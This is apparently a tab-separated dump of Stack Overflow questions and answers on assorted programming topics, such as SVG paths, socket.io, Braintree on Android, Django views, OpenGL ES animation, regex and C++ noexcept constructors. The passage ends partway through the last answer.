12211404	0	 <p>In your first example, the path started at 125,275 and was at 125,275 again, before closing. Because 'Z' creates another smooth path segment connecting start and end point, you get that small loop. If you close it before returning to the startingpoint, you get the desired smooth shape touching all given points.</p> <p>This is the corrected version of the example path:</p> <pre><code>M125,275R 125,325 175,325 225,325 275,325 225,275 175,275Z </code></pre>
24296823	0	 <p>Your design is correct. The number of tables is a reflection of the complexity (or not) of the application.</p> <p>The "paradigm to efficiently design this kind of scenario" is the relational model and you are designing in terms of tables because you are working within that paradigm.</p> <p>Your notions about "the downside" and "lookups" and "efficiency" presume implementation aspects without justification. The DBMS takes your declarations and updates and answers your queries and hides how. Implementation issues do arise, but far from the level of experience and knowledge suggested by your question.</p> <p>Just make a staightforward design.</p>
21299801	0	 <blockquote> <p>Themes have to declare their support for post thumbnails before the interface for assigning these images will appear on the Edit Post and Edit Page screens. They do this by putting the following in their functions.php file:</p> <p><code>add_theme_support( 'post-thumbnails' );</code></p> </blockquote> <p>Source: <a href="http://codex.wordpress.org/Post_Thumbnails#Enabling_Support_for_Post_Thumbnails" rel="nofollow">http://codex.wordpress.org/Post_Thumbnails#Enabling_Support_for_Post_Thumbnails</a></p>
34345294	0	Is it possible to use socket.io between NodeJS and AngularJS <p>I have two independent applications (frontEnd and BackEnd). The backEnd is in NodeJS using express framework and the FrontEnd is in AngularJS. Is it possible to use socket.io to send a message from the server (NodeJS) to the client (AngularJS)? How I can do that? I've tried with the following code but it is not working:</p> <p>server code</p> <pre><code>var app = require('express')(); var server = require('http').Server(app); var io = require('socket.io')(server); io.sockets.on('connection', function(socket) { //This message is not showing console.log("socket"); socket.volatile.emit('notification', {message: 'push message'}); }); </code></pre> <p>client code</p> <pre><code>angular.module('pysFormWebApp') .factory('mySocket', function (socketFactory) { var mySocket = socketFactory({ prefix: 'foo~', ioSocket: io.connect('http://localhost:3000/') }); mySocket.forward('error'); return mySocket; }); angular.module('formModule') .controller('typingCtrl', ['$scope', 'mySocket', typingCtrl]); function typingCtrl ($scope, mySocket) { mySocket.forward('someEvent', $scope); $scope.$on('socket:someEvent', function (ev, data) { $scope.theData = data; console.log(data); }); </code></pre> <p>thanks for the help </p>
28180921	0	is there any way using plaint JS to get value of a css property of an element? <p>As far as I concern, .style.some_property only returns the value of the property if I setting it in javascript. If I don't, it returns empty string. So, is there any other way other than jQuery methods like css() and prop() to get value of a css property? </p>
10156891	0	php website and Jquery $.ajax() <p>The website I'm developing is structured in this way:</p> <p>It has a function that switches the module for the homepage content when <code>$_GET['module']</code> is set, example:</p> <pre><code>function switchmodules() { $module=$_GET['module']; switch($module) { case 'getnews': news(); break; default: def(); } } </code></pre> <p>As you can see, this switch calls another function for each module.</p> <p>For example I wrote <code>getNews()</code> to work in this way:</p> <pre><code>function getNews() { $id=$_GET['id']; if(!id) { //CODE TO LIST ALL NEWS } if(isset($id)) { //CODE TO GET ONLY 1 NEWS BY ID } } </code></pre> <p>So, as you can see I'm not using an unique file for each module; all operations of a module are part of an unique function in which an action is switched again to change the result.</p> <p>If I want to get a news from database I should use an url like this: <code>?index.php&amp;module=getnews&amp;id=1</code></p> <p>My question now is:<br> With jQuery and <code>$.ajax()</code> method is there a way to get a news (for example) using this structure based on functions switched by a get? Or do I have to change everything and make a file for each function?</p>
3699364	0	 <p>CHCP returns the OEM codepage (OEMCP). The API is Get/SetConsoleCP. </p> <p>You can set the C++ locale to ".OCP" to match this locale.</p>
10511282	0	 <p>Kind of standard <code>awk</code> way.</p> <pre><code>$ awk 'FNR==NR{sum+=$2;next}; {print $0,sum}' file.txt{,} 1 12 272 2 18 272 3 45 272 4 5 272 5 71 272 6 96 272 7 13 272 8 12 272 </code></pre>
31295261	0	How to get token from server BrainTree <p>How do I get the token from my server? I went the tedious process of simply getting the token to appear on my server but now I don't know how to pull it down and use it in my Android app. This is the method that Braintree suggested and it had a boat load of errors when I copied and pasted it. I managed to get past them but I had to implement a few methods that I don't think are right. </p> <p>All I need to be able to do is get the client token and use as a variable in my app. Someone please help. P.S. I'm really new at Android dev. </p> <pre><code>import android.content.Intent; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.View; import com.loopj.android.http.*; import com.braintreepayments.api.dropin.BraintreePaymentActivity; import org.apache.http.Header; public class MainActivity extends ActionBarActivity { private int REQUEST_CODE; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } AsyncHttpClient client = new AsyncHttpClient(); public void fetchClientToken() { client.get("http://clomes.com/clomes/braintree/customer/gettoken", new TextHttpResponseHandler() { public String clientToken; @Override public void onFailure(int i, Header[] headers, String s, Throwable throwable) { } @Override public void onSuccess(int i, Header[] headers, String clientToken) { this.clientToken = clientToken; } }); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.menu_main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); //noinspection SimplifiableIfStatement if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } } </code></pre>
1895139	0	 <p>There's many simple ways to do this in Rebol. It's interesting to use parse:</p> <pre><code>&gt;&gt; list: [system/history system/prompt] == [system/history system/prompt] &gt;&gt; parse list [(list-string: copy []) some [set path path! (append list-string mold path)]] == true &gt;&gt; list-string == ["system/history" "system/prompt"] </code></pre>
4675721	0	 <p>Take a look here: <a href="http://dev.mysql.com/doc/refman/5.1/en/server-logs.html" rel="nofollow">http://dev.mysql.com/doc/refman/5.1/en/server-logs.html</a> You're looking for general query log: <a href="http://dev.mysql.com/doc/refman/5.1/en/query-log.html" rel="nofollow">http://dev.mysql.com/doc/refman/5.1/en/query-log.html</a></p>
34797753	0	 <p>The argument you're passing to <code>pattern =</code> is where things are going wrong I believe. This three-step approach might get you the desired result:</p> <pre><code># Extract all .rds files list &lt;- list.files("Data/", pattern =".rds", full.names = TRUE) # Define pattern for grepl files &lt;- c(20388, 20389, 20390) pattern &lt;- paste(files, sep="", collapse="|") # Results in pattern [1] "20388|20389|20390" # grepl will interpret "|" as "or" # Now we can subset list with the following list[grepl(pattern,list)] </code></pre>
4737586	0	 <p>This is answered (with examples) in the <a href="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html#SVG_web">svg primer</a>.</p> <p>tl;dr summary:</p> <ul> <li>remove 'width' and 'height' attributes on the svg root, and add a 'viewBox' attribute with the value "0 0 w h", where w and h are the absolute values usually found in the width and height attributes (note that percentages and other units aren't allowed in the viewBox attribute)</li> </ul>
31760685	0	 <p>For the second regex, you essentially want "everything after (and including) the first letter". Thus you can simply try</p> <pre><code>string alphaPart = Regex.Match(s, @"[a-zA-Z].*").Value; </code></pre> <p>If you want to be more specific, you can restrict the "after" part to just the characters you expect, maybe</p> <pre><code>string alphaPart = Regex.Match(s, @"[a-zA-Z][a-zA-Z0-9 ()-]*").Value; </code></pre> <p>but you still need the leading <code>[a-zA-Z]</code> because otherwise you'd match the number part too.</p>
716665	0	 <p>The following should work:</p> <pre><code>if (get_magic_quotes_gpc()) { $content = stripslashes($content); } $content = mysql_real_escape_string($content); </code></pre> <p>If your column is utf8, you shouldn't have problems with special characters. Once you've formatted the content correctly, you can feed it to mysql using your standard insert methods.</p>
12891324	1	The view didn't return an HttpResponse object <p>This is the error I am getting: The view myapp.views.view_page didn't return an HttpResponse object</p> <p>Can anyone see what I'm doing wrong here? I can't seem to figure out why I would be getting that exception since I am returning an HttpResponseRedirect.</p> <p>views.py</p> <pre><code>from myapp.models import Page from django.shortcuts import render_to_response from django.http import HttpResponseRedirect from django.template import Template, RequestContext from django.core.context_processors import csrf def view_page(request, page_name): try: page = Page.objects.get(pk=page_name) except Page.DoesNotExist: return render_to_response("create.html", {"page_name" :page_name},context_instance=RequestContext(request)) content=page.content return render_to_response("view.html", {"page_name" :page_name , "content" :content},context_instance=RequestContext(request)) def edit_page(request, page_name): try: page = Page.objects.get(pk=page_name) content=page.content except Page.DoesNotExist: content = "" return render_to_response("edit.html", {"page_name" :page_name, "content" :content},context_instance=RequestContext(request)) def save_page(request, page_name): content = request.POST["content"] try: page = Page.objects.get(pk=page_name) page.content=content except Page.DoesNotExist: page = Page(name=page_name, content=content) page.save() return HttpResponseRedirect("/myproject/" + page_name + "/") </code></pre>
1565205	0	How to extend / amend OSGi lifecycle management? <p>I have a modular application that uses OSGi for lifecycle and dependency management. However, some of the bundles require some time after startup to be ready, for example, because they have to acquire data from somewhere. Also, they might be unable to process certain calls during a configuration update, for example a bundle that keeps a connection to a db can't send queries while it is updating the connection parameters.</p> <p>So, it seems to me that a bundle can have more subtle states than those managed by the OSGi container, and since they affect bundle interaction, there needs to be some handling. I can see three basic strategies for doing this:</p> <ul> <li>screw subtlety, and for example put all initialization code into <code>BundleActivator.start()</code>. If it takes forever to acquire that data, well then the bundle just won't be started forever. I'm not 100% sure that this would cover all cases, and it seems slightly wrong.</li> <li>fit my bundles with an additional event system that they use to notify each other of more subtle states like "momentarily unavailable" or "really ready now". This might simply be unnecessary overhead.</li> <li>have the bundle keep its more subtle state changes to itself and just take calls anyway, deferring them internally if necessary. This might not be appropriate when the caller could actually handle unavailability better.</li> </ul> <p><strong>Do you have any general advice on that? Is there even something in OSGi that I could use?</strong></p>
14306262	0	 <p>I had the server techs update my server to MySql 5.5 and the issue is now fixed. I'm guessing it had something to do with the library or MySql install.</p>
27561141	0	 <p>Please try this code:</p> <pre><code>package com.secondhandbooks.http; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; import java.util.Dictionary; import java.util.Enumeration; import java.util.List; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpPost; import org.apache.http.entity.BufferedHttpEntity; import org.apache.http.entity.mime.HttpMultipartMode; import org.apache.http.entity.mime.MultipartEntity; import org.apache.http.entity.mime.content.FileBody; import org.apache.http.entity.mime.content.StringBody; import org.apache.http.impl.client.DefaultHttpClient; import org.json.JSONObject; import android.app.ProgressDialog; import android.content.Context; import android.os.AsyncTask; import android.util.Log; import com.secondhandbooks.util.ConvertStreamIntoString; import com.secondhandbooks.util.SaveImageIntoDrawable; public abstract class BaseAsync_Post extends AsyncTask&lt;String, String, InputStream&gt; { Context context ; private HttpPost httppost; String url ; Dictionary&lt;String, String&gt; dictionary ; public BaseAsync_Post(String url , Dictionary&lt;String, String&gt; dictionary, Context context) { this.url = url ; this.dictionary = dictionary; this.context = context ; Enumeration&lt;String&gt; enumeration = dictionary.keys() ; showLogs("constructor") ; while ( enumeration.hasMoreElements() ) { showLogs( enumeration.nextElement() ) ; } } @Override abstract protected void onPreExecute() ; @Override abstract protected void onPostExecute(InputStream result) ; @Override protected InputStream doInBackground(String... params) { // TODO Auto-generated method stub // TODO Auto-generated method stub InputStream is = null; HttpClient httpclient = new DefaultHttpClient(); httppost = new HttpPost(url); MultipartEntity entity = new MultipartEntity(HttpMultipartMode.BROWSER_COMPATIBLE); try { List&lt;NameValuePair&gt; nameValuePairs = new ArrayList&lt;NameValuePair&gt;(50); Enumeration&lt;String&gt; enumeration = dictionary.keys() ; while ( enumeration.hasMoreElements() ) { String key = enumeration.nextElement() ; if ( key.equals("file") ) { final File file = new File(SaveImageIntoDrawable.savedImagePath); if ( file.isFile() ) { showLogs("is file"); } else { showLogs("no-file"); } FileBody fb = new FileBody(file); entity.addPart(key, fb); } else { entity.addPart(key, new StringBody(dictionary.get(key))); } } httppost.setEntity(entity); HttpResponse response = httpclient.execute(httppost); HttpEntity entity1 = response.getEntity(); BufferedHttpEntity bufHttpEntity = new BufferedHttpEntity(entity1); is = bufHttpEntity.getContent(); } catch (ClientProtocolException e) { e.printStackTrace(); showLogs("ClientProtocolException"); } catch (IOException e) { e.printStackTrace(); showLogs("IOException"); } return is; } public String getString(JSONObject json, String TAG) { String returnParseData = ""; try { Object aObj = json.get(TAG); if (aObj instanceof Boolean) { returnParseData = Boolean.toString(json.getBoolean(TAG)); } else if (aObj instanceof Integer) { returnParseData = Integer.toString(json.getInt(TAG)); } else if (aObj instanceof String) { returnParseData = json.getString(TAG); } else { returnParseData = json.getString(TAG); } } catch (Exception err) { err.printStackTrace(); returnParseData = ""; } return returnParseData; } public String getIntintoString(JSONObject json, String TAG) { int returnParseData = -1; try { returnParseData = json.getInt(TAG) ; } catch (Exception err) { err.printStackTrace(); returnParseData = -1; } return Integer.toString(returnParseData) ; } public void showLogs ( String msg ) { Log.e("HTTP-POST", msg) ; } } </code></pre>
17037920	0	Call div in another page as inside a dialog box <p>I have developed a website using a template. There, a dialog box is prompt properly when click on a tag. But I need to call the dialog box div which is in another different page. Because I need to get a id which is passing from the URL to use with the GET['id'] with PHP. I have tried calling the div in this way</p> <pre><code> &lt;a href="x.html#myModal2"&gt;Alert&lt;/a&gt; </code></pre> <p>But its not working. Any one can give me a suggestion or a guidance to achieve my objective?</p> <p>here is my calling tag and the dialog box div</p> <pre><code> &lt;a href="#myModal2" role="button" class="btn btn-danger" data-toggle="modal"&gt;Alert&lt;/a&gt; &lt;div id="myModal2" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel2" aria-hidden="true"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal" aria-hidden="true"&gt;&lt;/button&gt; &lt;h3 id="myModalLabel2"&gt;Alert Header&lt;/h3&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;p&gt;Body goes here...&lt;/p&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;button data-dismiss="modal" class="btn green"&gt;OK&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>here is the same div which I need to call in the x.html page</p> <pre><code>&lt;div id="myModal1" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel1" aria-hidden="true"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal" aria-hidden="true"&gt;&lt;/button&gt; &lt;h3 id="myModalLabel1"&gt;Modal Header&lt;/h3&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;p&gt;Body goes here...&lt;/p&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;button class="btn" data-dismiss="modal" aria-hidden="true"&gt;Close&lt;/button&gt; &lt;button class="btn yellow"&gt;Save&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
34651765	0	I want to do photo effects which is uploaded by user in javascript <p>I want do some photo fun effects in my website. If user upload their file, its automatically display the output, which effect is user selected. This is doing in JavaScript with html. I want yours favour for how to do mask effect in JavaScript. I just did upload the image from local and its display in same page and also i need to apply the effects in it.This is my script</p> <pre><code>&lt;script language="javascript" type="text/javascript"&gt; window.onload = function () { var fileUpload = document.getElementById("fileupload"); fileUpload.onchange = function () { if (typeof (FileReader) != "undefined") { var dvPreview = document.getElementById("dvPreview"); dvPreview.innerHTML = ""; var regex = /^([a-zA-Z0-9\s_\\.\-:])+(.jpg|.jpeg|.gif|.png|.bmp)$/; for (var i = 0; i &lt; fileUpload.files.length; i++) { var file = fileUpload.files[i]; if (regex.test(file.name.toLowerCase())) { var reader = new FileReader(); reader.onload = function (e) { var img = document.createElement("IMG"); img.height = "600"; img.width = "600"; img.src = e.target.result; dvPreview.appendChild(img); } reader.readAsDataURL(file); } else { alert(file.name + " is not a valid image file."); dvPreview.innerHTML = ""; return false; } } } else { alert("This browser does not support HTML5 FileReader."); } } }; &lt;/script&gt; </code></pre> <p>My Html code:</p> <pre><code>&lt;input id="fileupload" type="file" multiple="multiple" /&gt;&lt;hr /&gt; &lt;b&gt;Live Preview&lt;/b&gt;&lt;br&gt; &lt;div id="dvPreview" &gt; &lt;/div&gt; </code></pre> <p>How can i apply the effects which image is uploaded by user. <a href="http://i.stack.imgur.com/vMFfQ.png" rel="nofollow">Mask image is here</a> | <a href="http://i.stack.imgur.com/UYrPE.jpg" rel="nofollow">I need this output - Output image is here</a></p> <p>User uploaded image need to be in background with blur effect and image is in a design i need dude's. Thanks for advance to spend your golden time for me.</p>
1918219	0	 <p>You can have each tab be a real view controller with nib and everything. The only catch is that you must forward on the standard view controller calls you want to receive (viewWillAppear, etc) but it makes the coding much cleaner since you code just as you would for any other view (although for a smaller space). </p> <p>You call each controllers "view" property to get out the view, which you add as a subview of a container view you have under the tabs.</p>
24750005	0	how to retain the animated position in opengl es 2.0 <p>I am doing frame based animation for 300 frames in opengl es 2.0</p> <p>I want a rectangle to translate by +200 pixels in X axis and also scaled up by double (2 units) in the first 100 frames. For example, the initial value (frame 0) of the rectangle's centre point is at 100 pixels (i.e. rectCenterX = 100) on the screen; At 100th frame, rectCenterX = 300 (100 + 200) pixels. Also the rect size is doubled the original size.</p> <p>Then, the animated rectangle has to stay there for the next 100 frames (without any animation). i.e. the rectCenterX = 300 pixels for frames 101 to 200. At 101st frame, rectCenterX = 300 pixels. the rect size is double the original size. At 200th frame, rectCenterX = 300 pixels. the rect size is double the original size.</p> <p>Then, I want the same animated rectangle to translate by +200 pixels in X axis and also scaled down by half (0.5 units) in the last 100 frames. At 300th frame, rectCenterX = 500 pixels.the rect size is again as the original size.</p> <p>I am using simple linear interpolation to calculate the delta-animation value for each frame.</p> <p>In short,</p> <pre><code>Animation-Type Animation-Value Start-Frame End-Frame 1.Translate +200 0 100 2.Scale +2 0 100 3.Translate +200 201 300 4.Scale +0.5 201 300 </code></pre> <p>Pseudo code: The below drawFrame() is executed for 300 times (300 frames) in a loop.</p> <pre><code>float RectMVMatrix[4][4] = {1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 }; // identity matrix int totalframes = 300; float translate-delta; // interpolated translation value for each frame float scale-delta; // interpolated scale value for each frame // The usual code for draw is: void drawFrame(int iCurrentFrame) { // mySetIdentity(RectMVMatrix); // comment this line to retain the animated position. mytranslate(RectMVMatrix, translate-delta, X_AXIS); // to translate the mv matrix in x axis by translate-delta value myscale(RectMVMatrix, scale-delta); // to scale the mv matrix by scale-delta value ... // opengl calls glDrawArrays(...); eglswapbuffers(...); } </code></pre> <p>The above code will work fine for first 100 frames. in order to retain the animated rectangle during the frames 101 to 200, i removed the "mySetIdentity(RectMVMatrix);" in the above drawFrame().</p> <p>Now on entering the drawFrame() for the 2nd frame, the RectMVMatrix will have the animated value of first frame</p> <p>e.g. RectMVMatrix[4][4] = { 1.01, 0, 0, 2, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 };// 2 pixels translation and 1.01 units scaling after first frame This RectMVMatrix is used for mytranslate() in 2nd frame. The translate function will affect the value of "RectMVMatrix[0][0]". Thus translation affects the scaling values also.</p> <p>Eventually output is getting wrong.</p> <p>How to retain the animated position without affecting the current ModelView matrix?</p>
6863254	0	 <p>In <code>Event* EventHandler::DequeueEvent()</code> you have line <code>Event* result = new Event(*this-&gt;_eventQueue.front());</code> Here the slicing occurs. You can do the following:</p> <pre><code>class Event { public: virtual Event* clone() { // create a new instance and copy all the fields } </code></pre> <p>}</p> <p>Then override <code>clone()</code> in derived classes, e.g. </p> <pre><code>class KeyboardKeyEvent :public Event { public: ... virtual KeyboardKeyEvent* clone(); // note - it returns different type } </code></pre> <p>Then change <code>Event* EventHandler::DequeueEvent()</code> : <code>Event* result = (*this-&gt;_eventQueue.front()).clone();</code></p>
8821689	0	 <p>You can supply a <code>function(i, attr)</code> into your <code>.attr()</code></p> <pre><code>for (var i = 0, len = data.length; i &lt; len; i++) { var $div = $(".venue:first").clone(); data.[i].photos; $div.find(".photos").attr("src", function(index, src){ return data[i].photos[index]; }); } </code></pre>
12320641	0	 <p>The best way to do this i think... is having an object with the infowindows that you have opened</p> <p>i have two objects, infos have all the infowindows created and markers contains all markers with they infowindows so i just execute this functions that loop the infowindow object and close all the infowindows</p> <pre><code>function CloseInfowindows() { for (var mkey in infos) { var mobj = markers[mkey]; mobj.infowindow.close(); } } </code></pre>
4250568	0	 <p>I use successfully the following procedure to get images with SmartGWT working.</p> <p>At the same level as the <code>client</code> package of your GWT module I create a folder named <code>public</code>. (In Eclipse you cannot create a package named <code>public</code> because this is not a valid package name. You have to create it explicitly as a folder.) This directory with name <code>public</code> is treated special by GWT. The GWT compiler copies all the included content to the resulting main module directory. So I usually create a subdirectory <code>images</code> under <code>public</code> and put all the images belonging to my GWT module in there.</p> <p>For example:</p> <pre><code>com/stuff client Main.java ... public images a.png b.png mainmodule.gwt.xml </code></pre> <p>Then right at the beginning of the entry point I tell SmartGWT to look at the <code>images</code> subdirectory for the images (in this example is <code>mainmodule</code> the name of my main GWT module):</p> <pre><code>public void onModuleLoad() { Page.setAppImgDir("[APP]/mainmodule/images/"); ... } </code></pre> <p>The <code>[APP]</code> part of the path is special SmartGWT syntax.</p> <p>Later I am able to create an IButton like so:</p> <pre><code>final IButton aBtn = new IButton("A Button"); aBtn.setIcon("a.png"); </code></pre> <p>Sometimes it is necessary to create the URL to an image not for SmartGWT but for plain GWT or plain HTML. For these cases you can create the URL with</p> <pre><code>final String bUrl = GWT.getModuleBaseURL() + "images/b.png"; </code></pre>
25871007	0	Cross-year DatePeriod width DateInterval P7D losing new year week <p>I'm trying to have an array of yearweeks using PHP DatePeriod like so :</p> <pre><code>$from = new DateTime('2014-09-16'); $to = new DateTime('2015-02-25'); $interval = new DateInterval('P7D'); // 7Days =&gt; 1 Week $daterange = new DatePeriod($from, $interval, $to); $yearweeks = array(); foreach($daterange as $date) { $yearweeks[$date-&gt;format('YW')] = 'W' . $date-&gt;format('W-Y'); } </code></pre> <p>The result is pretty strange ! The first week of the new year is missing. I have fist week of previous year instead like so :</p> <pre><code>Array ( ... [201451] =&gt; W51-2014 [201452] =&gt; W52-2014 [201401] =&gt; W01-2014 // WTF ? /!\ [201501] =&gt; W01-2015 expected ! /!\ [201502] =&gt; W02-2015 [201503] =&gt; W03-2015 ... ) </code></pre> <p>Is there a trick to avoid this kind of error ? </p>
22654622	0	Sublime2: Unable to change translate_tabs_to_spaces setting <p>I want HTML files to have a 2 space indent so I've updated my Packages/User/html.sublime-settings file as follows:</p> <pre><code>{ "extensions": [ "erb", "html" ], "tab_size": 2, "translate_tabs_to_spaces": true, } </code></pre> <p>However, whenever I save a file as an HTML file (i.e. with the .html extension) the Tab Size remains 4.</p> <p>What else do I need to change?</p>
13383178	0	 <p>Depends on how large your DB is, and how frequent the stats are changed.</p> <p>If it not that large, you can use query sets freely and create the appropriate indexes, and use some cache mechanism so you will not have to make the same queries all over again.</p> <p>But if it is very big database, and it takes a lot of resources to get the data back, I would create some schedule tasks, or use Django signals to collect data as the some order occurs.</p> <p>Another option always is to use 3rd-party tool to do all of this.</p>
27323000	0	Error building Android app in release mode, in Android Studio <p>I'm trying to sign my android app in release mode, in Android Studio.</p> <p>I followed <a href="http://developer.android.com/tools/publishing/app-signing.html" rel="nofollow">this official guide</a>. So I have created the keystore and a private key. Then I tried to Generate the Signed APK, from <strong>Build -> Generate Signed API Key</strong>. But the build fails, with the following error:</p> <pre><code>:app:packageRelease FAILED Error:A problem was found with the configuration of task ':app:packageRelease'. &gt; File 'C:\Documents\myapp\android.jks' specified for property 'signingConfig.storeFile' does not exist. </code></pre> <p>I have also checked the build.gradle configuration. And I have found this:</p> <pre><code> signingConfigs { releaseConfig { keyAlias 'xxxxxxxxxx' keyPassword 'xxxxxxxxx' storeFile file('C:\Documents\myapp\android.jks') storePassword 'xxxxxxxxx' } } </code></pre> <p>but in the same gradle file I have this:</p> <pre><code>buildTypes { release { runProguard false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' signingConfig signingConfigs.releaseConfig } } </code></pre> <p>What's wrong?</p>
855243	0	 <p>Try any of this:</p> <pre><code>Response.Cache.SetExpires(DateTime.Now.AddSeconds(360)); Response.Cache.SetCacheability(HttpCacheability.Private) Response.Cache.SetSlidingExpiration(true); Page.Response.Cache.SetCacheability(HttpCacheability.NoCache) </code></pre> <p>Also see this <a href="http://stackoverflow.com/questions/533867/whats-the-best-method-for-forcing-cache-expiration-in-asp-net">question</a>.</p>
25278941	0	 <p>Or using @Brandon Bertelsen's example data</p> <pre><code>dat1 &lt;- transform(dat[grep("^\\d+$", dat$A),,drop=F], A= as.numeric(as.character(A))) dat1 # A #6 1 #7 2 #8 3 #9 4 #10 5 str(dat1) #'data.frame': 5 obs. of 1 variable: #$ A: num 1 2 3 4 5 </code></pre>
2387347	0	 <p>Try this:</p> <pre><code>/\b\w{3,16}\b/ </code></pre> <p>Explained:</p> <ul> <li><code>\b</code> matches a word boundary</li> <li><code>\w</code> matches a word character</li> <li><code>{3,16}</code> applies to the <code>\w</code> and it indicates that at least 3 and at most 16 characters should be matched.</li> </ul> <p>FYI: I omitted the start anchor (<code>^</code>) and end anchor (<code>$</code>) from the regex you noted in your question because it seems like you want to find matches with longer strings of text as input and the anchors would restrict the matching to only instances where the entire input string matched.</p> <p>UPDATE:</p> <p>Here is the proof that this regex works:</p> <pre><code>&lt;?php $input = 'rjm1986 * SinuhePalma * excel2010 * Jimineedles * 209663603 * C6A7XR * Snojog * XmafiaX * Cival2 * HitmanPirrie * MAX * 4163016 * Dredd23 * Daddy420 * mattpauley * Mykillurdeath * 244833585 * KCKnight * Greystoke * Fatbastard * Fucku4 * Davkar * Banchy2 * ET187 * Slayr69 * Nik1236 * SeriousAl * 315791 * 216996334 * K1ra * Koops1 * LastFallout * zmileben * bismark * Krlssi * FuckOff1 * 1owni * Ulme * Rxtvjq * halfdeadman * Jamacola * LBTG1008 * toypark * Magicman6497 * Tyboe187 * Bob187 * Zetrox'; $matches = array(); preg_match_all('/\b\w{3,16}\b/', $input, $matches); print_r($matches); ?&gt; </code></pre> <p>Outputs:</p> <pre><code>Array ( [0] =&gt; Array ( [0] =&gt; rjm1986 [1] =&gt; SinuhePalma [2] =&gt; excel2010 [3] =&gt; Jimineedles [4] =&gt; 209663603 [5] =&gt; C6A7XR [6] =&gt; Snojog [7] =&gt; XmafiaX [8] =&gt; Cival2 [9] =&gt; HitmanPirrie [10] =&gt; MAX [11] =&gt; 4163016 [12] =&gt; Dredd23 [13] =&gt; Daddy420 [14] =&gt; mattpauley [15] =&gt; Mykillurdeath [16] =&gt; 244833585 [17] =&gt; KCKnight [18] =&gt; Greystoke [19] =&gt; Fatbastard [20] =&gt; Fucku4 [21] =&gt; Davkar [22] =&gt; Banchy2 [23] =&gt; ET187 [24] =&gt; Slayr69 [25] =&gt; Nik1236 [26] =&gt; SeriousAl [27] =&gt; 315791 [28] =&gt; 216996334 [29] =&gt; K1ra [30] =&gt; Koops1 [31] =&gt; LastFallout [32] =&gt; zmileben [33] =&gt; bismark [34] =&gt; Krlssi [35] =&gt; FuckOff1 [36] =&gt; 1owni [37] =&gt; Ulme [38] =&gt; Rxtvjq [39] =&gt; halfdeadman [40] =&gt; Jamacola [41] =&gt; LBTG1008 [42] =&gt; toypark [43] =&gt; Magicman6497 [44] =&gt; Tyboe187 [45] =&gt; Bob187 [46] =&gt; Zetrox ) ) </code></pre>
7577616	0	 <p>MATLAB 7.0 provides the <code>NTHROOT</code> function, which returns the real roots of a number. So your formula becomes <code>NTHROOT(-8, 3) = -2</code></p> <p>If you are using a version prior to MATLAB 7.0 (R14), please read the following:</p> <p>To obtain the real cube root of a negative real number "x", rather than executing:</p> <pre><code>x.^(1/3) </code></pre> <p>use the command:</p> <pre><code>sign(x).*abs(x.^(1/3)) </code></pre> <p>This will find the absolute value of the root and modify it by the sign of the argument.</p> <p><a href="http://www.mathworks.com.au/support/solutions/en/data/1-15M1N/index.html?product=ML&amp;solution=1-15M1N" rel="nofollow">See this</a></p>
35791076	0	 <p><strong>[UPDATE: IT'S WORTH JUMPING TO THE <em>EDIT</em> SECTION]</strong></p> <p>Ok, I found a solution, even though it doesn't compile with all the compilers because of a bug in GCC (see <a href="http://stackoverflow.com/questions/35790350/noexcept-inheriting-constructors-and-the-invalid-use-of-an-incomplete-type-that">this question</a> for further details).</p> <p>The solution is based on inherited constructors and the way functions calls are resolved.<br> Consider the following example:</p> <pre><code>#include &lt;utility&gt; #include &lt;iostream&gt; struct B { B(int y) noexcept: x{y} { } virtual void f() = 0; int x; }; struct D: public B { private: using B::B; public: template&lt;typename... Args&gt; D(Args... args) noexcept(noexcept(D{std::forward&lt;Args&gt;(args)...})) : B{std::forward&lt;Args&gt;(args)...} { } void f() override { std::cout &lt;&lt; x &lt;&lt; std::endl; } }; int main() { B *b = new D{42}; b-&gt;f(); } </code></pre> <p>I guess it's quite clear.<br> Anyway, let me know if you find that something needs more details and I'll be glad to update the answer.<br> The basic idea is that we can inherit directly the <code>noexcept</code> definition from the base class along with its constructors, so that we have no longer to refer to that class in our <code>noexcept</code> statements.</p> <p><a href="http://coliru.stacked-crooked.com/a/fdbd0c1c70e74f64" rel="nofollow">Here</a> you can see the above mentioned working example.</p> <p><strong>[EDIT]</strong></p> <p>As from the comments, the example suffers of a problem if the constructors of the base class and the derived one have the same signature.<br> Thank to Piotr Skotnicki for having pointed it out.<br> I'm going to mention those comments and I'll copy and paste the code proposed along with them (with a mention of the authors where needed).</p> <p>First of all, <a href="http://coliru.stacked-crooked.com/a/fe0fb0d62f8d2b95" rel="nofollow">here</a> we can see that the example as it is does not work as expected (thanks to Piotr Skotnicki for the link).<br> The code is almost the same previously posted, so it doesn't worth to copy and paste it here.<br> Also, from the same author, it follows an example <a href="http://coliru.stacked-crooked.com/a/7a7b48ef686cdc2a" rel="nofollow">that shows that the same solution works as expected under certain circumstances</a> (see the comments for furter details):</p> 